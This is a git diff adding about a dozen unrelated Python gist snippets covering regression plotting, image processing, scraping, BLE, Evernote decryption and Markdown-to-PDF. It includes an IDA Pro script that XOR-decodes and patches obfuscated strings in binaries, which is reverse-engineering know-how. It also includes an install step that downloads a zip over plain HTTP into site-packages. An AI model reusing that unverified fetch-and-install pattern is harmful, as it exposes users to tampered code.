+ quandl_dates = np.arange(1, quandl_settings.rows + 1, 1) + quandl_prices = [] + + # TODO: find a better way to extract some column, X, from numpy matrix of tuples (w, x, y, z) + for i in range(quandl_data_set.size): + quandl_prices.append(quandl_data_set[quandl_settings.rows - (i + 1)][quandl_settings.column] / 100) + return quandl_dates, quandl_prices + + @staticmethod + def run_ordinary_least_squares(ols_dates, ols_data, statsmodels_settings): + """ + This method receives the dates and prices of a Quandl data-set as well as settings for the StatsModels package, + it then calculates the regression lines and / or the confidence lines are returns the objects + """ + intercept = np.column_stack((ols_dates, ols_dates ** statsmodels_settings.exponent)) + constant = sm.add_constant(intercept) + statsmodel_regression = sm.OLS(ols_data, constant).fit() + print(statsmodel_regression.summary()) + if statsmodels_settings.confidence: + prstd, lower, upper = wls_prediction_std(statsmodel_regression) + return statsmodel_regression, lower, upper + else: + return statsmodel_regression + + +def plot_regression_line(regression_analyses): + """ + This global method is a front-end to the MatplotLib library which receives a set of regression analyses and plots + each one of them onto the canvas. + """ + title = "" + fig, ax = plot.subplots() + # Plot each regression analysis in the set + for regression_i in regression_analyses: + ax.plot(regression_i.dates, regression_i.prices, regression_i.color, label="Values " + regression_i.data_set) + ax.plot(regression_i.dates, regression_i.regression.fittedvalues, regression_i.color + '.', + label="Regression line " + regression_i.data_set) + if regression_i.lower is not None: + ax.plot(regression_i.dates, regression_i.lower, regression_i.color + '--') + if regression_i.upper is not None: + ax.plot(regression_i.dates, regression_i.upper, regression_i.color + '--') + plot.xlabel('Time') + plot.ylabel('Normalized Values') + title += regression_i.data_set + ", " + + plot.title('Regression Analysis of ' + title) + ax.legend(loc='best') + plot.grid(True) + plot.show() + + +def investing_example(): + """ + This method creates a set of regression analyses based on fundamental trading (revenues) + """ + # b: blue, g: green, r: red, c: cyan, m: magenta, y: yellow, k: black, w: white + statsmodels_args_inv = StatsModelsSettings(2, False) + quandl_args_inv = QuandlSettings(5, 1, "yearly") + + regressions_inv = [RegressionAnalysis("DMDRN/GOOG_REV_LAST", quandl_args_inv, statsmodels_args_inv, 'b'), + RegressionAnalysis("DMDRN/YHOO_REV_LAST", quandl_args_inv, statsmodels_args_inv, 'g'), + RegressionAnalysis("DMDRN/AAPL_REV_LAST", quandl_args_inv, statsmodels_args_inv, 'k')] + plot_regression_line(regressions_inv) + + +def trading_example(): + """ + This method creates a set of regression analyses based on technical trading details (price) + """ + # b: blue, g: green, r: red, c: cyan, m: magenta, y: yellow, k: black, w: white + statsmodels_args_trade = StatsModelsSettings(1, True) + quandl_args_trade = QuandlSettings(350, 4, "weekly") + + regressions_trade = [RegressionAnalysis("GOOG/NASDAQ_GOOG", quandl_args_trade, statsmodels_args_trade, 'b'), + RegressionAnalysis("GOOG/NASDAQ_YHOO", quandl_args_trade, statsmodels_args_trade, 'g')] + plot_regression_line(regressions_trade) + + +def economics_example(): + """ + This method creates a set of regression analyses based on economics GDP's of the BRICS nations, + """ + # b: blue, g: green, r: red, c: cyan, m: magenta, y: yellow, k: black, w: white + statsmodels_args = StatsModelsSettings(1, False) + quandl_args_prices = QuandlSettings(15, 1, "yearly") + + # South Africa, China, Brazil, India, Russia + regressions = [RegressionAnalysis("WORLDBANK/ZAF_NY_GDP_MKTP_KN", quandl_args_prices, statsmodels_args, 'b'), + RegressionAnalysis("WORLDBANK/CHN_NY_GDP_MKTP_KN", quandl_args_prices, statsmodels_args, 'g'), + RegressionAnalysis("WORLDBANK/BRA_NY_GDP_MKTP_KN", quandl_args_prices, statsmodels_args, 'k'), + RegressionAnalysis("WORLDBANK/IND_NY_GDP_MKTP_KN", quandl_args_prices, statsmodels_args, 'm'), + RegressionAnalysis("WORLDBANK/RUS_NY_GDP_MKTP_KN", quandl_args_prices, statsmodels_args, 'c')] + plot_regression_line(regressions) + + +if __name__ == "__main__": + # This main method run the regression analysis program + trading_example() \ No newline at end of file diff --git a/hard-gists/0d9f91f789f0c523b0e7/._snippet.py b/hard-gists/0d9f91f789f0c523b0e7/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0d9f91f789f0c523b0e7/._snippet.py differ diff --git a/hard-gists/0d9f91f789f0c523b0e7/snippet.py b/hard-gists/0d9f91f789f0c523b0e7/snippet.py new file mode 100644 index 00000000..6a91d287 --- /dev/null +++ b/hard-gists/0d9f91f789f0c523b0e7/snippet.py @@ -0,0 +1,124 @@ +import idautils +import struct + +def get_type1_xref(ea): + for ref_ea in DataRefsTo(ea): + # print GetDisasm(ref_ea) + if Byte(ref_ea) == 0x78 and Byte(ref_ea + 1) == 0x44: + return ref_ea + return None + +def get_type1_call(ea): + next_addr = NextHead(ea) + for i in xrange(0, 10): + if GetMnem(next_addr) == "BL": + return next_addr + next_addr = NextHead(next_addr) + return None + +def get_decode_func_memcpy(ea): + next_addr = ea + for i in xrange(0, 0x20): + if GetMnem(next_addr) == "BLX": + func_address = GetOperandValue(next_addr, 0) + if GetFunctionName(func_address) == "memcpy": + return next_addr + next_addr = NextHead(next_addr) + + return None + +def read_key(ea): + key = [] + for i in xrange(0, 8): + key.append(chr(Byte(ea + i))) + + return key + +def main(): + s = idautils.Strings(False) + s.setup(strtypes=Strings.STR_UNICODE | Strings.STR_C) + + hex_str_addr_list = [] + + for i, v in enumerate(s): + if v is None: + print("Failed to retrieve string index %d" % i) + else: + if (v.length + 1) % 2 != 0: + continue + # print("%x: len=%d type=%d index=%d-> '%s'" % (v.ea, v.length, v.type, i, str(v))) + str_value = str(v) + try: + str_value = str_value.decode("hex") + hex_str_addr_list.append(v.ea) + except Exception, e: + pass + + for ss_addr in hex_str_addr_list: + xref = get_type1_xref(ss_addr) + if xref is None: + continue + + # print GetDisasm(xref) + # next func. + next_call = get_type1_call(xref) + if next_call is None: + continue + + # print hex(xref), GetDisasm(xref) + # print hex(next_call), GetDisasm(next_call) + # print "-----------------" + + decode_func_start = GetOperandValue(next_call, 0) + decode_func_end = get_decode_func_memcpy(decode_func_start) + + if decode_func_end is None: + print hex(decode_func_start), GetDisasm(decode_func_start) + continue + + r1_refs = [] + walker = decode_func_end + while walker > decode_func_start: + # print hex(walker), GetDisasm(walker) + if GetOpnd(walker, 0) == "R1": + r1_refs.append(walker) + if GetMnem(walker) == "LDR": + break + walker = PrevHead(walker) + + r1_refs.reverse() + if len(r1_refs) == 0: + # print "error " + hex(decode_func_start) + continue + + # print hex(decode_func_start) + t_offset = 0 + pc_offset = 0 + t_index = 0 + + if len(r1_refs) == 2: + t_offset = Dword(GetOperandValue(r1_refs[0], 1)) + pc_offset = r1_refs[1] + 4 + elif len(r1_refs) == 3: + t_offset = Dword(GetOperandValue(r1_refs[0], 1)) + pc_offset = r1_refs[1] + 4 + t_index = GetOperandValue(r1_refs[2], 1) + + key_table = t_offset + pc_offset + t_index + # print hex(decode_func_start), hex(key_table) + + key = read_key(key_table) + hex_data = list(GetString(ss_addr).decode("hex")) + for i in xrange(0, len(hex_data)): + hex_data[i] = chr(ord(hex_data[i]) ^ ord(key[i%8])) + print hex(ss_addr), "".join(hex_data) + + for i in xrange(0, len(GetString(ss_addr))): + PatchByte(ss_addr + i, 0x00) + + for i in xrange(0, len(hex_data)): + PatchByte(ss_addr + i, ord(hex_data[i])) + +if __name__ == "__main__": + main() + print "done." \ No newline at end of file diff --git a/hard-gists/0db840f27f1f0fd0747f13ab80d0ca37/._snippet.py b/hard-gists/0db840f27f1f0fd0747f13ab80d0ca37/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0db840f27f1f0fd0747f13ab80d0ca37/._snippet.py differ diff --git a/hard-gists/0db840f27f1f0fd0747f13ab80d0ca37/snippet.py b/hard-gists/0db840f27f1f0fd0747f13ab80d0ca37/snippet.py new file mode 100644 index 00000000..7bf022b1 --- /dev/null +++ b/hard-gists/0db840f27f1f0fd0747f13ab80d0ca37/snippet.py @@ -0,0 +1,17 @@ +import requests +import cv2 +import numpy as np + + +url = "http://192.168.43.1:8080/shot.jpg" + +while True: + + img_resp = requests.get(url) + img_arr = np.array(bytearray(img_resp.content), dtype=np.uint8) + img = cv2.imdecode(img_arr, -1) + + cv2.imshow("AndroidCam", img) + + if cv2.waitKey(1) == 27: + break \ No newline at end of file diff --git a/hard-gists/0db858e055cc2bae953b435f5116aaa8/._snippet.py b/hard-gists/0db858e055cc2bae953b435f5116aaa8/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0db858e055cc2bae953b435f5116aaa8/._snippet.py differ diff --git a/hard-gists/0db858e055cc2bae953b435f5116aaa8/snippet.py b/hard-gists/0db858e055cc2bae953b435f5116aaa8/snippet.py new file mode 100644 index 00000000..56135de4 --- /dev/null +++ b/hard-gists/0db858e055cc2bae953b435f5116aaa8/snippet.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python + +# Python script to decrypt encrypted ENEX notes exported from Evernote as ENEX +# +# This will onle work on notes encypted after 2014 using the "ENC0" format +# +# This script requires a modified version of pbkdf2.py to support SHA256 +# https://github.com/PaulUithol/python-pbkdf2 +# +# There's no helpful error if your password was incorrect, it will just +# echo stdin to stdout unchanged +# +# This will only decrypt the last encrypted section of the file, if there are +# multiple sections pipe the output back into the script +# +# The encryption method is described by Evernote here: +# https://help.evernote.com/hc/en-us/articles/208314128 +# +# The byte-format of the ENC0 scheme is described here: +# http://soundly.me/decoding-the-Evernote-en-crypt-field-payload/ +# +# 2016-12-18 Lee Maguire + +import getopt +import sys +import re +import base64 +import hmac +import hashlib + +from pbkdf2 import PBKDF2 +from Crypto.Cipher import AES + +password = b'swordfish' # It's the name of a fish + +keylength = 128 +iterations = 50000 + +opts, args = getopt.getopt(sys.argv[1:],"hp:",["password="]) +for opt, arg in opts: + if opt == '-h': + print 'Usage: en-decrypt.py -p < encrypted.enex > decrypted.enex' + sys.exit() + elif opt in ("-p", "--password"): + password = arg + +input_text = "".join(sys.stdin) +c = re.search(r"(?P.*)(?P)(?P.*)(?P)(?P.*)", input_text, re.DOTALL) + +if c: + bintxt = base64.b64decode(c.group('b64')) + salt = bintxt[4:20] + salthmac = bintxt[20:36] + iv = bintxt[36:52] + ciphertext = bintxt[52:-32] + body = bintxt[0:-32] + bodyhmac = bintxt[-32:] + + ## use the password to generate a digest for the encrypted body + ## if it matches the existing digest we can assume the password is correct + keyhmac = PBKDF2(password, salthmac, iterations, hashlib.sha256).read(keylength/8) + testhmac = hmac.new(keyhmac, body, hashlib.sha256) + match_hmac = hmac.compare_digest(testhmac.digest(),bodyhmac) + + if match_hmac: + key = PBKDF2(password, salt, iterations, hashlib.sha256).read(keylength/8) + aes = AES.new(key, AES.MODE_CBC, iv) + plaintext = aes.decrypt(ciphertext) + sys.stdout.write( c.group('head') + plaintext + c.group('tail') ) + else: + sys.stdout.write( input_text ) + sys.exit(1) +else: + sys.stdout.write( input_text ) +sys.exit(0) \ No newline at end of file diff --git a/hard-gists/0e7d366d2e3623c5bb95/._snippet.py b/hard-gists/0e7d366d2e3623c5bb95/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0e7d366d2e3623c5bb95/._snippet.py differ diff --git a/hard-gists/0e7d366d2e3623c5bb95/snippet.py b/hard-gists/0e7d366d2e3623c5bb95/snippet.py new file mode 100644 index 00000000..8e122a9d --- /dev/null +++ b/hard-gists/0e7d366d2e3623c5bb95/snippet.py @@ -0,0 +1,24 @@ +import objc +from Foundation import NSBundle + +Security_bundle = NSBundle.bundleWithIdentifier_('com.apple.security') + +CMSDecoderRef = objc.createOpaquePointerType("CMSDecoderRef", b"^{CMSDecoder}", None) + +functions = [('CMSDecoderCreate', b'io^^{CMSDecoder}'), + ('CMSDecoderUpdateMessage', b'i^{CMSDecoder}*I'), + ('CMSDecoderFinalizeMessage', b'i^{CMSDecoder}',), + ('CMSDecoderCopyContent', b'i^{CMSDecoder}o^^{__CFData}')] + +objc.loadBundleFunctions(Security_bundle, globals(), functions) + +f = open('Example.mobileconfig.signed', 'rb') +signed_plist = f.read() +f.close() + +err, decoder = CMSDecoderCreate(None) +err = CMSDecoderUpdateMessage(decoder, signed_plist, len(signed_plist)) +err = CMSDecoderFinalizeMessage(decoder) +err, unsigned_data = CMSDecoderCopyContent(decoder, None) + +plist_bytes = unsigned_data.bytes().tobytes() \ No newline at end of file diff --git a/hard-gists/0ec0c3f5ca69bac2b625/._snippet.py b/hard-gists/0ec0c3f5ca69bac2b625/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0ec0c3f5ca69bac2b625/._snippet.py differ diff --git a/hard-gists/0ec0c3f5ca69bac2b625/snippet.py b/hard-gists/0ec0c3f5ca69bac2b625/snippet.py new file mode 100644 index 00000000..cc18c6d6 --- /dev/null +++ b/hard-gists/0ec0c3f5ca69bac2b625/snippet.py @@ -0,0 +1,55 @@ +# -*- coding: utf-8 -*- + +from __future__ import unicode_literals +from gevent import monkey; monkey.patch_all() + +import re +from urlparse import urljoin + +from gevent.pool import Pool +import requests +from scrapy.selector import Selector + + +download_re = re.compile(r'http://download.ted.com/talks/[^"]+') + + +def fetch_page(url): + '''1. 웹페이지 다운로드''' + r = requests.get(url) + return r.text + + +def talk_links_from_listpage(url): + '''2. 목록 페이지에서 강의 링크들 추출''' + html = fetch_page(url) + sel = Selector(text=html) + talk_links = sel.css('.talk-link .media__message a::attr(href)').extract() + talk_links = [urljoin(url, talk_link) for talk_link in talk_links] + return talk_links + + +def talk_from_page(url): + '''3. 강의 페이지에서 강의 메타정보 추출''' + html = fetch_page(url) + sel = Selector(text=html) + download_m = download_re.search(html) + return { + 'title': sel.css('.talk-hero__title::text').extract(), + 'description': sel.css('.talk-description::text').extract(), + 'download': download_m.group(0) if download_m else None, + } + + +def latest_talks(page=1): + '''4. 최근 강의 목록 반환''' + list_url = 'http://www.ted.com/talks/browse?page={0}'.format(page) + talk_links = talk_links_from_listpage(list_url) + # talks = [talk_from_page(url) for url in talk_links] + pool = Pool(20) + talks = pool.map(talk_from_page, talk_links) + return talks + + +from pprint import pprint +pprint(latest_talks()) \ No newline at end of file diff --git a/hard-gists/0ee6dd444994fd67f63b/._snippet.py b/hard-gists/0ee6dd444994fd67f63b/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0ee6dd444994fd67f63b/._snippet.py differ diff --git a/hard-gists/0ee6dd444994fd67f63b/snippet.py b/hard-gists/0ee6dd444994fd67f63b/snippet.py new file mode 100644 index 00000000..20e47bd1 --- /dev/null +++ b/hard-gists/0ee6dd444994fd67f63b/snippet.py @@ -0,0 +1,32 @@ +import skimage; +from skimage import data +from skimage.filters import threshold_otsu +from skimage.segmentation import clear_border +from skimage.measure import label +from skimage.morphology import closing, square +from skimage.measure import regionprops +from skimage.color import label2rgb +import cv2 +import numpy as np +import sys + + + +if __name__ == '__main__': + print(skimage.__version__) + img = data.imread("garden1.jpg", 1) + # img = data.imread("garden2.jpg", 1) + print type(img), img.shape, type(img[0][0]) + thresh = threshold_otsu(img) + bw = closing(img > thresh, square(1)) + cleared = bw.copy() + clear_border(cleared) + + # label image regions + label_image = label(cleared) + borders = np.logical_xor(bw, cleared) + label_image[borders] = -1 + colors = np.random.rand(300, 3); + background = np.random.rand(3); + image_label_overlay = label2rgb(label_image, image=img, colors=colors, bg_color=background) + cv2.imwrite('Done.png',image_label_overlay*255) \ No newline at end of file diff --git a/hard-gists/0efb4d07f28af1c8fc1b/._snippet.py b/hard-gists/0efb4d07f28af1c8fc1b/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0efb4d07f28af1c8fc1b/._snippet.py differ diff --git a/hard-gists/0efb4d07f28af1c8fc1b/snippet.py b/hard-gists/0efb4d07f28af1c8fc1b/snippet.py new file mode 100644 index 00000000..471eab08 --- /dev/null +++ b/hard-gists/0efb4d07f28af1c8fc1b/snippet.py @@ -0,0 +1,263 @@ +# Markdown to PDF Conversion +# +# This script converts Markdown markup to PDF directly on your iOS device. +# +# Please see the "Requirements" section in the docstring below for required +# dependencies and the "Installation" section for instructions on how to +# install them. +# +# Run this script directly or put it into the Pythonista editor action menu +# with one of the following options as the first and sole argument: +# +# -e Use the text of the current editor buffer as input +# -c Use the file currently opened in the editor as input +# +# These two options will use different input if the current editor buffer +# contains unsaved changes. +# +# You can also pass the path of a file to use as input directly as a command +# line argument. Called without arguments, the script will present a dialog +# where you can choose either to convert the text from the clipboard, from +# a URL or the README. +# +"""Markdown to PDF Conversion +========================== + +**Markdown** is a plain text formatting language invented by [John Gruber] [1]. + + +Overview +-------- + +*Yes, it is possible:* convert Markdown markup text to PDF files on iOS with +Python - without the use of external apps or a web service. The conversion is +done *purely* in Python, which means it can be done *offline* and without +requiring additional paid apps (you need [Pythonista] [2], of course). + +The Markdown text is first converted to HTML with [markdown2] [4] and then its +HTML output is converted to PDF with [xhtml2pdf] [4] and written to a file with +the given name. + + +Usage +----- + +Here is the most basic code to convert some Markdown text: + + from markdown2pdf import markdown2pdf + markdown2pdf('This is a *test*', 'test.pdf') + +The Markdown to HTML conversion supports standard Markdown syntax with the +following extras enabled by default (see the [markdown2] [3] web site for +more information on these extras): + +* fenced-code-blocks +* footnotes +* metadata +* pyshell +* smarty-pants +* tag-friendly +* wiki-tables + +To use additional extras or disable some, pass a list of extra names via the +`extras` keyword argument, which will override the default extras list: + + markdown2pdf(text, 'test.pdf', extras=['code-friendly', 'smarty-pants']) + +The appearance and layout of the PDF output is determined by the default CSS +definitions used by `xhtml2pdf`. You can overwrite the default CSS by passing +in a string of CSS definitions via the `css` keyword argument. If you only +want to change certain styles, you can import the default CSS from `xhtml2pdf` +and add to it: + + from xhtml2pdf.default import DEFAULT_CSS + + DEFAULT_CSS += \""" + html { + font-family: Arial, Helvetica, sans-serif; + font-size: 12pt; + } + \""" + + markdown2pdf(text, 'test.pdf', css=DEFAULT_CSS) + +See the [xhtml2pdf usage guide] [5] for more information on the supported CSS +properties and page layout directives. + + +Requirements +------------ + +The `markdown2pdf` module requires the following Python packages: + +* [markdown2] [3] \* +* [html5lib](http://pypi.python.org/pypi/html5lib) \* +* PIL or [Pillow](http://python-pillow.github.io/) (optional) \* +* [PyPDF2](http://mstamy2.github.io/PyPDF2/) (optional) +* [ReportLab](http://reportlab.com) +* [xhtml2pdf] [4] + +Packages marked with an asterisk are already included with Pythonista. All +these packages, except PIL / Pillow, are pure-Python code or the included +C extensions are optional (ReportLab). + + +Installation +------------ + +I have created a bundle of all the above libraries, which are not already +included in Pythonista, as a Zip archive. You have to extract this archive into +the `site-packages` sub-directory of your Pythonista document folder. You can +use the following code in the Pythonista console to download and extract the +Zip archive: + + import os, requests, zipfile + + ZIPFN = 'markdown2pdf.zip' + ZIPURL = 'http://chrisarndt.de/projects/markdown2pdf/' + ZIPFN + + with open(ZIPFN, 'wb') as f: + f.write(requests.get(ZIPURL).content) + + with zipfile.ZipFile(ZIPFN) as z: + z.extractall('site-packages') + + os.unlink(ZIPFN) + +You can also download a version of the above script, which also checks the +integrity of the downloaded Zip file, from this Gist: + +[download_md2pdf.py](https://gist.github.com/SpotlightKid/9e03a7823827a1841b6b) + +[1]: http://daringfireball.net +[2]: http://omz-software.com/pythonista +[3]: https://github.com/trentm/python-markdown2 +[4]: http://www.xhtml2pdf.com +[5]: https://github.com/chrisglass/xhtml2pdf/blob/master/doc/usage.rst + +""" + +__author__ = 'Christopher Arndt' +__version__ = '1.1' + +import argparse +import logging +import os +import sys +import tempfile + +from os.path import basename, join, splitext + +import console +import editor + +from markdown2pdf import markdown2pdf + + +def make_pdf_filename(fn): + return splitext(basename(fn))[0] + '.pdf' + +def main(args=None): + ap = argparse.ArgumentParser() + ap.add_argument('-c', '--current-file', action='store_true', + help='Use file currently opened in editor as input') + ap.add_argument('-e', '--edit-buffer', action='store_true', + help='Use content of current editor buffer as input') + ap.add_argument('infile', nargs='?', help='Input file name') + + args = ap.parse_args(args if args is not None else sys.argv[1:]) + + if args.edit_buffer or args.current_file: + pdf_bn = make_pdf_filename(editor.get_path()) + + if args.current_file: + with open(editor.get_path()) as f: + md = f.read() + elif args.edit_buffer: + md = editor.get_text() + elif args.infile: + pfd_bn = make_pdf_filename(args.infile) + with open(args.infile) as f: + md = f.read() + else: + pdf_bn = 'markdown2pdf.pdf' + + try: + choice = console.alert('Markdown to PDF', '', + 'Show README', 'Convert Clipboard', 'Convert URL') + except KeyboardInterrupt: + return + + if choice == 1: + md = __doc__ + elif choice == 2: + import clipboard + md = clipboard.get() + elif choice == 3: + import re + import clipboard + try: + cb = clipboard.get().strip() + if not re.search('^(ht|f)tps?://', cb): + cb = '' + url = console.input_alert('Enter URL', 'Download Markdown from URL:', + cb, 'Download') + except KeyboardInterrupt: + return + else: + import urllib2 + import urlparse + try: + r = urllib2.urlopen(url) + except urllib2.URLError as exc: + print(exc) + console.hud_alert("Download error (see console)", 'error') + return + else: + md = r.read() + + url = urlparse.urlparse(r.geturl()) + fn = make_pdf_filename(url.path) + if fn: + pdf_bn = fn + + if not md: + return + + tempdir = tempfile.mkdtemp() + pdf_path = join(tempdir, pdf_bn) + console.show_activity() + status = markdown2pdf(md, pdf_path) + console.hide_activity() + + try: + choice = console.alert('Select Ouput', '', + 'Save to file...', 'Open in...', 'View') + except KeyboardInterrupt: + return + + if choice == 1: + try: + filename = console.input_alert("Filename", + "Enter PDF output filename\n(will overwrite existing files!):", + pdf_bn, 'Save') + os.rename(pdf_path, filename) + except KeyboardInterrupt: + return + except (IOError, OSError) as exc: + console.alert("Error", "Error writing PDF file:\n\n%s" % exc) + return 1 + elif choice == 2: + console.open_in(pdf_path) + elif choice == 3: + console.quicklook(pdf_path) + + try: + os.unlink(pdf_path) + os.rmdir(tempdir) + except: pass + + +if __name__ == '__main__': + logging.basicConfig(level=logging.ERROR) + main(sys.argv[1:]) diff --git a/hard-gists/0efb90d998c59d5926ca7f4e79054361/._snippet.py b/hard-gists/0efb90d998c59d5926ca7f4e79054361/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0efb90d998c59d5926ca7f4e79054361/._snippet.py differ diff --git a/hard-gists/0efb90d998c59d5926ca7f4e79054361/snippet.py b/hard-gists/0efb90d998c59d5926ca7f4e79054361/snippet.py new file mode 100644 index 00000000..41fb4e28 --- /dev/null +++ b/hard-gists/0efb90d998c59d5926ca7f4e79054361/snippet.py @@ -0,0 +1,147 @@ +# Standard modules +import os +import dbus +try: + from gi.repository import GObject +except ImportError: + import gobject as GObject + +# Bluezero modules +from bluezero import dbus_tools +from bluezero import tools +from bluezero import constants +from bluezero import adapter +from bluezero import advertisement +from bluezero import localGATT +from bluezero import GATT + +# constants +CPU_TMP_SRVC = '12341000-1234-1234-1234-123456789abc' +CPU_TMP_CHRC = '2A6E' +CPU_FMT_DSCP = '2904' + + +def get_cpu_temperature(): + # return random.randrange(3200, 5310, 10) / 100 + cpu_temp = 32.0 + return cpu_temp + +def sint16(value): + return int(value * 100).to_bytes(2, byteorder='little', signed=True) + + +def cpu_temp_sint16(value): + answer = [] + value_int16 = sint16(value[0]) + for bytes in value_int16: + answer.append(dbus.Byte(bytes)) + + return answer + + +class TemperatureChrc(localGATT.Characteristic): + def __init__(self, service): + localGATT.Characteristic.__init__(self, + 1, + CPU_TMP_CHRC, + service, + [get_cpu_temperature()], + False, + ['read', 'notify']) + + def temperature_cb(self): + reading = [get_cpu_temperature()] + print('Getting new temperature', + reading, + self.props[constants.GATT_CHRC_IFACE]['Notifying']) + self.props[constants.GATT_CHRC_IFACE]['Value'] = reading + + self.PropertiesChanged(constants.GATT_CHRC_IFACE, + {'Value': dbus.Array(cpu_temp_sint16(reading))}, + []) + print('Array value: ', cpu_temp_sint16(reading)) + return self.props[constants.GATT_CHRC_IFACE]['Notifying'] + + def _update_temp_value(self): + if not self.props[constants.GATT_CHRC_IFACE]['Notifying']: + return + + print('Starting timer event') + GObject.timeout_add(500, self.temperature_cb) + + def ReadValue(self, options): + return dbus.Array( + cpu_temp_sint16(self.props[constants.GATT_CHRC_IFACE]['Value']) + ) + + def StartNotify(self): + if self.props[constants.GATT_CHRC_IFACE]['Notifying']: + print('Already notifying, nothing to do') + return + print('Notifying on') + self.props[constants.GATT_CHRC_IFACE]['Notifying'] = True + self._update_temp_value() + + def StopNotify(self): + if not self.props[constants.GATT_CHRC_IFACE]['Notifying']: + print('Not notifying, nothing to do') + return + + print('Notifying off') + self.props[constants.GATT_CHRC_IFACE]['Notifying'] = False + self._update_temp_value() + + +class ble: + def __init__(self): + self.bus = dbus.SystemBus() + self.app = localGATT.Application() + self.srv = localGATT.Service(1, CPU_TMP_SRVC, True) + + self.charc = TemperatureChrc(self.srv) + + self.charc.service = self.srv.path + + cpu_format_value = dbus.Array([dbus.Byte(0x0E), + dbus.Byte(0xFE), + dbus.Byte(0x2F), + dbus.Byte(0x27), + dbus.Byte(0x01), + dbus.Byte(0x00), + dbus.Byte(0x00)]) + self.cpu_format = localGATT.Descriptor(4, + CPU_FMT_DSCP, + self.charc, + cpu_format_value, + ['read']) + + self.app.add_managed_object(self.srv) + self.app.add_managed_object(self.charc) + self.app.add_managed_object(self.cpu_format) + + self.srv_mng = GATT.GattManager(adapter.list_adapters()[0]) + self.srv_mng.register_application(self.app, {}) + + self.dongle = adapter.Adapter(adapter.list_adapters()[0]) + advert = advertisement.Advertisement(1, 'peripheral') + print(self.dongle) + + advert.service_UUIDs = [CPU_TMP_SRVC] + # eddystone_data = tools.url_to_advert(WEB_BLINKT, 0x10, TX_POWER) + # advert.service_data = {EDDYSTONE: eddystone_data} + if not self.dongle.powered: + self.dongle.powered = True + ad_manager = advertisement.AdvertisingManager(self.dongle.address) + ad_manager.register_advertisement(advert, {}) + + def add_call_back(self, callback): + self.charc.PropertiesChanged = callback + + def start_bt(self): + # self.light.StartNotify() + dbus_tools.start_mainloop() + + +if __name__ == '__main__': + pi_cpu_monitor = ble() + pi_cpu_monitor.start_bt() \ No newline at end of file diff --git a/hard-gists/0efcacfb43827ba3a6bac3356315c419/._snippet.py b/hard-gists/0efcacfb43827ba3a6bac3356315c419/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0efcacfb43827ba3a6bac3356315c419/._snippet.py differ diff --git a/hard-gists/0efcacfb43827ba3a6bac3356315c419/snippet.py b/hard-gists/0efcacfb43827ba3a6bac3356315c419/snippet.py new file mode 100644 index 00000000..0b5649c0 --- /dev/null +++ b/hard-gists/0efcacfb43827ba3a6bac3356315c419/snippet.py @@ -0,0 +1,74 @@ +import numpy as np +import cv2 + +def getSobel (channel): + + sobelx = cv2.Sobel(channel, cv2.CV_16S, 1, 0, borderType=cv2.BORDER_REPLICATE) + sobely = cv2.Sobel(channel, cv2.CV_16S, 0, 1, borderType=cv2.BORDER_REPLICATE) + sobel = np.hypot(sobelx, sobely) + + return sobel; + +def findSignificantContours (img, sobel_8u): + image, contours, heirarchy = cv2.findContours(sobel_8u, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) + + # Find level 1 contours + level1 = [] + for i, tupl in enumerate(heirarchy[0]): + # Each array is in format (Next, Prev, First child, Parent) + # Filter the ones without parent + if tupl[3] == -1: + tupl = np.insert(tupl, 0, [i]) + level1.append(tupl) + + # From among them, find the contours with large surface area. + significant = [] + tooSmall = sobel_8u.size * 5 / 100 # If contour isn't covering 5% of total area of image then it probably is too small + for tupl in level1: + contour = contours[tupl[0]]; + area = cv2.contourArea(contour) + if area > tooSmall: + cv2.drawContours(img, [contour], 0, (0,255,0),2, cv2.LINE_AA, maxLevel=1) + significant.append([contour, area]) + + significant.sort(key=lambda x: x[1]) + return [x[0] for x in significant]; + +def segment (path): + img = cv2.imread(path) + + blurred = cv2.GaussianBlur(img, (5, 5), 0) # Remove noise + + # Edge operator + sobel = np.max( np.array([ getSobel(blurred[:,:, 0]), getSobel(blurred[:,:, 1]), getSobel(blurred[:,:, 2]) ]), axis=0 ) + + # Noise reduction trick, from http://sourceforge.net/p/octave/image/ci/default/tree/inst/edge.m#l182 + mean = np.mean(sobel) + + # Zero any values less than mean. This reduces a lot of noise. + sobel[sobel <= mean] = 0; + sobel[sobel > 255] = 255; + + cv2.imwrite('output/edge.png', sobel); + + sobel_8u = np.asarray(sobel, np.uint8) + + # Find contours + significant = findSignificantContours(img, sobel_8u) + + # Mask + mask = sobel.copy() + mask[mask > 0] = 0 + cv2.fillPoly(mask, significant, 255) + # Invert mask + mask = np.logical_not(mask) + + #Finally remove the background + img[mask] = 0; + + fname = path.split('/')[-1] + cv2.imwrite('output/' + fname, img); + print (path) + + +segment('original-small.jpg') diff --git a/hard-gists/0f450e738bf79c003253/._snippet.py b/hard-gists/0f450e738bf79c003253/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0f450e738bf79c003253/._snippet.py differ diff --git a/hard-gists/0f450e738bf79c003253/snippet.py b/hard-gists/0f450e738bf79c003253/snippet.py new file mode 100644 index 00000000..e2ef90fb --- /dev/null +++ b/hard-gists/0f450e738bf79c003253/snippet.py @@ -0,0 +1,29 @@ +from kivy.app import App +from kivy.lang import Builder + +from jnius import autoclass + +PythonActivity = autoclass('org.renpy.android.PythonActivity') +Intent = autoclass('android.content.Intent') +String = autoclass('java.lang.String') + +root = Builder.load_string(''' +Button: + text: 'Share!' + on_press: app.share() +''') + +class TestApp(App): + def build(self): + return root + + def share(self): + intent = Intent() + intent.setAction(Intent.ACTION_SEND) + intent.putExtra(Intent.EXTRA_TEXT, String('test share text')) + intent.setType('text/plain') + chooser = Intent.createChooser(intent, String('Share...')) + PythonActivity.mActivity.startActivity(chooser) + +if __name__ == '__main__': + TestApp().run() diff --git 